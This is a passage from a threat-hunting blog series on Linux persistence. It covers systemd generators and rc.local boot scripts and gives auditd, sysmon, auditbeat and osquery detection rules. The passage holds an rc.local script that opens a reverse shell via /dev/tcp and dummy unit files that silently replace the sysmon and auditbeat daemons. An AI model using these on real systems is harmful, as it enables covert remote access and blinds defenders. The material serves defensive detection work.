   Active: active <span class="o">(</span>running<span class="o">)</span> since Wed 2022-02-02 06:42:47 UTC<span class="p">;</span> 19s ago
 Main PID: 374 <span class="o">(</span>beacon.sh<span class="o">)</span>
    Tasks: 2 <span class="o">(</span>limit: 4651<span class="o">)</span>
   Memory: 15.7M
   CGroup: /system.slice/networking.service
           ├─374 /bin/bash /opt/beacon.sh
           └─377 bash <span class="nt">-l</span>
</code></pre></div></div>

<p>Of course you can modify the value of <code class="language-plaintext highlighter-rouge">ExecStart</code> or the contents of <code class="language-plaintext highlighter-rouge">/opt/beacon.sh</code> to whatever script you want.</p>

<p>Also because we have written new <code class="language-plaintext highlighter-rouge">sysmon.service</code> and <code class="language-plaintext highlighter-rouge">auditbeat.service</code> in <code class="language-plaintext highlighter-rouge">/run/systemd/generator.early/</code> and this takes precedence over <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and <code class="language-plaintext highlighter-rouge">/lib/systemd/system</code> (See order in <code class="language-plaintext highlighter-rouge">systemd-analyze unit-paths</code>). The <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> did not run the correct daemons.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl status auditbeat
● auditbeat.service - <span class="s2">"Skipped"</span>
   Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/auditbeat.service<span class="p">;</span> generated<span class="o">)</span>
   Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 15s ago
  Process: 377 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
 Main PID: 377 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>

Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>377]: Skipped
Feb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.

<span class="nv">$ </span>systemctl status sysmon
● sysmon.service - <span class="s2">"Skipped"</span>
   Loaded: loaded <span class="o">(</span>/run/systemd/generator.early/sysmon.service<span class="p">;</span> generated<span class="o">)</span>
   Active: inactive <span class="o">(</span>dead<span class="o">)</span> since Wed 2022-02-02 07:15:30 UTC<span class="p">;</span> 26s ago
  Process: 380 <span class="nv">ExecStart</span><span class="o">=</span>/usr/bin/echo Skipped <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>
 Main PID: 380 <span class="o">(</span><span class="nv">code</span><span class="o">=</span>exited, <span class="nv">status</span><span class="o">=</span>0/SUCCESS<span class="o">)</span>

Feb 02 07:15:30 host systemd[1]: Started <span class="s2">"Skipped"</span><span class="nb">.</span>
Feb 02 07:15:30 host <span class="nb">echo</span><span class="o">[</span>380]: Skipped
Feb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.
</code></pre></div></div>

<p>The dummy service files we added just <code class="language-plaintext highlighter-rouge">echo "Skipped"</code> instead running the <code class="language-plaintext highlighter-rouge">sysmon</code> and <code class="language-plaintext highlighter-rouge">auditbeat</code> daemon.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description="Skipped"

[Service]
ExecStart=echo "Skipped"

[Install]
WantedBy=multi-user.target
</code></pre></div></div>
<h4 id="123-detecting-the-creation-of-systemd-generators">12.3 Detecting the creation of systemd generators</h4>

<p>It is hard to monitor the execution of the systemd generators because they run on boot even before <code class="language-plaintext highlighter-rouge">sysmon</code> or <code class="language-plaintext highlighter-rouge">auditd</code> is running. Therefore our main way to combat this is to look for the creation and modification of systemd generators.</p>

<h4 id="1231-auditd">12.3.1 auditd</h4>

<p>This is <strong>not part of our reference</strong> Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of <code class="language-plaintext highlighter-rouge">rc.local</code> using the following auditd rule.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-w</span> /etc/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /lib/systemd/system-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/system-generators <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /etc/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/local/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
<span class="nt">-w</span> /usr/lib/systemd/user-generators/ <span class="nt">-p</span> wa <span class="nt">-k</span> systemd_generator
</code></pre></div></div>

<h4 id="1232-sysmon">12.3.2 sysmon</h4>

<p>Similarly, we don’t have a rule in <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/main.xml">microsoft/MSTIC-Sysmon</a> for sysmon.</p>

<p>But we can create a rule to detect creation of files under the system or user systemd generators.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: systemd-generators"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/local/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/local/lib/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/usr/lib/systemd/user-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>The command above will result in the following log</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Event&gt;</span>
    <span class="nt">&lt;System&gt;</span>
        <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
        <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
        <span class="nt">&lt;Level&gt;</span>4<span class="nt">&lt;/Level&gt;</span>
        <span class="nt">&lt;Task&gt;</span>11<span class="nt">&lt;/Task&gt;</span>
        <span class="nt">&lt;Opcode&gt;</span>0<span class="nt">&lt;/Opcode&gt;</span>
        <span class="nt">&lt;Keywords&gt;</span>0x8000000000000000<span class="nt">&lt;/Keywords&gt;</span>
        <span class="nt">&lt;TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-06T13:10:59.597085000Z"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;EventRecordID&gt;</span>3056<span class="nt">&lt;/EventRecordID&gt;</span>
        <span class="nt">&lt;Correlation/&gt;</span>
        <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"5963"</span> <span class="na">ThreadID=</span><span class="s">"5963"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
        <span class="nt">&lt;Computer&gt;</span>persistence-blog<span class="nt">&lt;/Computer&gt;</span>
        <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/System&gt;</span>
    <span class="nt">&lt;EventData&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1037,TechniqueName=Boot or Logon Initializa<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2022-02-06 13:10:59.595<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{8491267f-c8e3-61ff-89a1-493c44560000}<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>6897<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>+/usr/lib/systemd/system-generators/systemd-network-generator<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2022-02-06 13:10:59.595<span class="nt">&lt;/Data&gt;</span>
        <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>One thing I am not sure, is why the target filename has a <code class="language-plaintext highlighter-rouge">+</code> at the start.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/usr/lib/systemd/system-generators/<span class="nt">&lt;/TargetFilename&gt;</span>
</code></pre></div></div>
<p>This makes rules such as those above fail, and why I ended up using <code class="language-plaintext highlighter-rouge">condition="contains"</code>.</p>

<p>At first, I thought this was because in debian <code class="language-plaintext highlighter-rouge">lib</code> is a symlink to <code class="language-plaintext highlighter-rouge">/usr/lib</code> but I’ve tried it creating my own symlink and this behaviour was not replicated. I don’t know why this happens.</p>

<h4 id="1233-auditbeats">12.3.3 auditbeats</h4>

<p>By default, auditbeat will be able to monitor any of the directories above. You should try to include each one.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
  <span class="na">paths</span><span class="pi">:</span>
    <span class="s">...</span>
    <span class="s">- /etc/systemd/system-generators/</span>
    <span class="s">- /usr/local/lib/systemd/system-generators/</span>
    <span class="s">- /lib/systemd/system-generators/</span>
    <span class="s">- /etc/systemd/user-generators/</span>
    <span class="s">- /usr/local/lib/systemd/user-generators/</span>
    <span class="s">- /usr/lib/systemd/user-generators/</span>
  <span class="c1"># recursive: true</span>
</code></pre></div></div>

<p>Note that some of them might not exist by default like <code class="language-plaintext highlighter-rouge">/etc/systemd/user-generators/</code>, <code class="language-plaintext highlighter-rouge">/local/lib/systemd/system-generators/</code>, or <code class="language-plaintext highlighter-rouge">/usr/local/lib/systemd/user-generators/</code>.</p>

<h4 id="1234-osquery">12.3.4 osquery</h4>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="k">size</span><span class="p">,</span> <span class="n">atime</span><span class="p">,</span> <span class="n">mtime</span><span class="p">,</span> <span class="n">ctime</span><span class="p">,</span> <span class="n">md5</span>
<span class="k">FROM</span> <span class="n">file</span> 
<span class="k">JOIN</span> <span class="n">hash</span>
<span class="k">USING</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">WHERE</span> <span class="n">file</span><span class="p">.</span><span class="n">directory</span> <span class="k">IN</span> <span class="p">(</span>
    <span class="s1">'/etc/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/local/lib/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/lib/systemd/system-generators/'</span><span class="p">,</span>
    <span class="s1">'/etc/systemd/user-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/local/lib/systemd/user-generators/'</span><span class="p">,</span>
    <span class="s1">'/usr/lib/systemd/user-generators/'</span>
<span class="p">)</span>
<span class="k">ORDER</span> <span class="k">BY</span> <span class="n">mtime</span> <span class="k">DESC</span><span class="p">;</span>
</code></pre></div></div>

<p><img src="/assets/posts/20220207/12-osquery-generators.png" alt="" /></p>

<h3 id="whats-next">What’s next</h3>

<p>In the next blog post, I’ll try to wrap it up with some miscellaneous persistence techniques.</p>

<hr />

<p><a href="https://www.pexels.com/photo/factory-smoke-1570099/">Photo by Vitaly Vlasov from Pexels</a></p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><category term="mitre" /><category term="persistence" /><category term="threat hunting" /><category term="sysmon" /><category term="auditd" /><summary type="html"><![CDATA[How attackers can insert backdoors early in the boot process using systemd generators]]></summary></entry><entry><title type="html">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</title><link href="https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/" rel="alternate" type="text/html" title="Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration" /><published>2022-02-06T00:00:00+00:00</published><updated>2022-02-06T00:00:00+00:00</updated><id>https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration</id><content type="html" xml:base="https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/"><![CDATA[<h3 id="introduction">Introduction</h3>

<p>In this blogpost, we’ll be discussing some scripts  that attackers can install or modify that will execute on boot or logon. This is special files outside systemd services and timers.</p>

<p>The topics discussed here are the following:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1037/004/">Boot or Logon Initialization Scripts: RC Scripts</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: init.d</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1037/">Boot or Logon Initialization Scripts: motd</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1546/004/">Event Triggered Execution: Unix Shell Configuration Modification</a></li>
</ul>

<p>We will give some example commands on how to implement these persistence techinques and how to create alerts using open-source solutions such as auditd, sysmon and auditbeats.</p>

<p><img src="/assets/posts/20220206/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>

<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>

<p>Linux Persistence Series:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="8-boot-or-logon-initialization-scripts-rc-scripts">8 Boot or Logon Initialization Scripts: RC Scripts</h3>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1037/004/">https://attack.mitre.org/techniques/T1037/004/</a></p>

<h4 id="81-isnt-rclocal-deprecated">8.1 Isn’t rc.local deprecated?</h4>

<p>You might have noticed that newer version of linux distributions no longer have <code class="language-plaintext highlighter-rouge">/etc/rc.local</code>. This is because they have migrated to using <code class="language-plaintext highlighter-rouge">systemd</code> for init scripts.</p>

<p>However, there exists compatibility exes in <code class="language-plaintext highlighter-rouge">systemd</code> called <code class="language-plaintext highlighter-rouge">systemd-generator</code>. For example we have the <a href="https://www.freedesktop.org/software/systemd/man/systemd-rc-local-generator.html">systemd-rc-local-generator</a>. The exectuable for this can be found in <code class="language-plaintext highlighter-rouge">/usr/lib/systemd/system-generators/systemd-rc-local-generator</code>  (<a href="https://github.com/systemd/systemd/blob/main/src/rc-local-generator/rc-local-generator.c">source code</a>)</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> is a generator that checks whether <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> exists and is executable, and if it is, pulls the <code class="language-plaintext highlighter-rouge">rc-local.service</code> unit into the boot process.</p>
</blockquote>

<p>As long as <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> is included in the current version of <code class="language-plaintext highlighter-rouge">systemd</code>, then <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> will run on boot.</p>

<h4 id="82-creating-rclocal">8.2 Creating rc.local</h4>

<p>This is pretty straightforward, just create an executable script</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat &gt; /etc/rc.local &lt;&lt; EOF
#! /bin/bash
echo "Success! \$(date)" &gt;&gt; /tmp/rc.local.out
bash -i &gt;&amp; /dev/tcp/127.0.0.1/7777 0&gt;&amp;1
EOF

chmod +x /etc/rc.local
</code></pre></div></div>

<p>On the next boot, the generator will create a symlink of <code class="language-plaintext highlighter-rouge">rc-local.service</code> in a <code class="language-plaintext highlighter-rouge">multi-user.target.wants</code> to enable and so that <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> will execute.</p>

<p>You can see the location of the unit file by running <code class="language-plaintext highlighter-rouge">systemctl status rc-local</code> and the unit file is <code class="language-plaintext highlighter-rouge">lib/systemd/system/rc-local.service</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Unit]
Description=/etc/rc.local Compatibility
Documentation=man:systemd-rc-local-generator(8)
ConditionFileIsExecutable=/etc/rc.local
After=network.target

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
RemainAfterExit=yes
GuessMainPID=no
</code></pre></div></div>

<p>The symlink can be found in the transient directory <code class="language-plaintext highlighter-rouge">/run/systemd/generator/multi-user.target.wants/rc-local.service</code></p>

<h4 id="83-signs-of-rc-local-execution">8.3 Signs of rc-local execution</h4>

<p>The existence of  <code class="language-plaintext highlighter-rouge">lib/systemd/system/rc-local.service</code>  <strong>is not</strong> evidence that <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> was run. The unit file may exist on fresh installs of linux depending on the distribution (Debian 10 and Ubuntu 20).</p>

<p>Aside from the existence of <code class="language-plaintext highlighter-rouge">/etc/rc.local</code>, because it is a systemd service, there will be <code class="language-plaintext highlighter-rouge">systemd</code> logs in <code class="language-plaintext highlighter-rouge">syslog</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /var/log/syslog | egrep "rc-local.service|/etc/rc.local Compatibility"
...
Feb  1 13:27:10 persistence-vm systemd[1]: Starting /etc/rc.local Compatibility...
Feb  1 13:27:10 persistence-vm systemd[1]: Started /etc/rc.local Compatibility.
Feb  1 13:30:27 persistence-vm systemd[1]: rc-local.service: Succeeded.
Feb  1 13:30:27 persistence-vm systemd[1]: Stopped /etc/rc.local Compatibility.
</code></pre></div></div>

<p>If the VM is still running, you can look for  <code class="language-plaintext highlighter-rouge">/run/systemd/generator/multi-user.target.wants/rc-local.service</code> . This will only exist if the <code class="language-plaintext highlighter-rouge">systemd-rc-local-generator</code> found <code class="language-plaintext highlighter-rouge">/etc/rc.local</code> to an executable during boot or the last time the unit files were reloaded.</p>

<p>You can also check the status of the <code class="language-plaintext highlighter-rouge">rc-local.service</code> and see if it is not <code class="language-plaintext highlighter-rouge">incative</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ # systemctl status rc-local
● rc-local.service - /etc/rc.local Compatibility
   Loaded: loaded (/lib/systemd/system/rc-local.service; enabled-runtime; vendor preset: enabled)
  Drop-In: /usr/lib/systemd/system/rc-local.service.d
           └─debian.conf
   Active: active (exited) since Tue 2022-02-01 13:37:53 UTC; 5min ago
     Docs: man:systemd-rc-local-generator(8)
</code></pre></div></div>

<p>Here is an example when it did not run.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ systemctl status rc.local
● rc-local.service - /etc/rc.local Compatibility
   Loaded: loaded (/lib/systemd/system/rc-local.service; static; vendor preset: enabled)
  Drop-In: /usr/lib/systemd/system/rc-local.service.d
           └─debian.conf
   Active: inactive (dead)
</code></pre></div></div>

<h4 id="83-detecting-etcrclocal-creation">8.3 Detecting /etc/rc.local creation</h4>

<h5 id="831-auditd">8.3.1 auditd</h5>

<p>This is <strong>not part of our reference</strong> Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules), but we can monitor the creation or modification of <code class="language-plaintext highlighter-rouge">rc.local</code> using the following auditd rule.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/rc.local -p wa -k rclocal    
</code></pre></div></div>

<p>The commands above will result in the following logs.</p>

<pre class="highlight">
<code>SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=55a7a1adc6e0 a2=241 a3=1b6 items=2 ppid=759 pid=819 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4 comm="bash" <u><b>exe="/usr/bin/bash"</b></u> subj==unconfined <b><u>key="rclocal"</u></b>
PATH item=0 name="/etc/" inode=18 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 <u><b>name="/etc/rc.local"</b></u> inode=4840 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
</code></pre>

<h5 id="832-sysmon">8.3.2 sysmon</h5>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1037.004,TechniqueName=Boot or Logon Initialization Scripts: RC Scripts"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/rc.local<span class="nt">&lt;/TargetFilename&gt;</span>
    <span class="nt">&lt;/Rule&gt;</span>
<span class="nt">&lt;/FileCreate&gt;</span>
</code></pre></div></div>

<p>This results in the following log:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0"?&gt;</span>
<span class="nt">&lt;Event&gt;</span>
  <span class="nt">&lt;System&gt;</span>
    <span class="nt">&lt;Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventID&gt;</span>11<span class="nt">&lt;/EventID&gt;</span>
    <span class="nt">&lt;Version&gt;</span>2<span class="nt">&lt;/Version&gt;</span>
    <span class="nt">&lt;Level&gt;</span>4<span class="nt">&lt;/Level&gt;</span>
    <span class="nt">&lt;Task&gt;</span>11<span class="nt">&lt;/Task&gt;</span>
    <span class="nt">&lt;Opcode&gt;</span>0<span class="nt">&lt;/Opcode&gt;</span>
    <span class="nt">&lt;Keywords&gt;</span>0x8000000000000000<span class="nt">&lt;/Keywords&gt;</span>
    <span class="nt">&lt;TimeCreated</span> <span class="na">SystemTime=</span><span class="s">"2022-02-01T16:32:28.791576000Z"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;EventRecordID&gt;</span>25<span class="nt">&lt;/EventRecordID&gt;</span>
    <span class="nt">&lt;Correlation/&gt;</span>
    <span class="nt">&lt;Execution</span> <span class="na">ProcessID=</span><span class="s">"4617"</span> <span class="na">ThreadID=</span><span class="s">"4617"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;Channel&gt;</span>Linux-Sysmon/Operational<span class="nt">&lt;/Channel&gt;</span>
    <span class="nt">&lt;Computer&gt;</span>persistence-vm<span class="nt">&lt;/Computer&gt;</span>
    <span class="nt">&lt;Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/&gt;</span>
  <span class="nt">&lt;/System&gt;</span>
  <span class="nt">&lt;EventData&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">&gt;</span>TechniqueID=T1037.004,TechniqueName=Boot or Logon Initia<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">&gt;</span>2022-02-01 16:32:28.794<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">&gt;</span>{e779f71b-609c-61f9-8d97-7cde7d550000}<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">&gt;</span>4681<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">&gt;</span>/usr/bin/bash<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"TargetFilename"</span><span class="nt">&gt;</span>/etc/rc.local<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"CreationUtcTime"</span><span class="nt">&gt;</span>2022-02-01 16:32:28.794<span class="nt">&lt;/Data&gt;</span>
    <span class="nt">&lt;Data</span> <span class="na">Name=</span><span class="s">"User"</span><span class="nt">&gt;</span>root<span class="nt">&lt;/Data&gt;</span>
  <span class="nt">&lt;/EventData&gt;</span>
<span class="nt">&lt;/Event&gt;</span>
</code></pre></div></div>

<p>See an example in <a href="https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#55-detecting-using-sysmon-rules">5.5.2 Caveats for detecting using sysmon rules</a> from the previous blog post.</p>

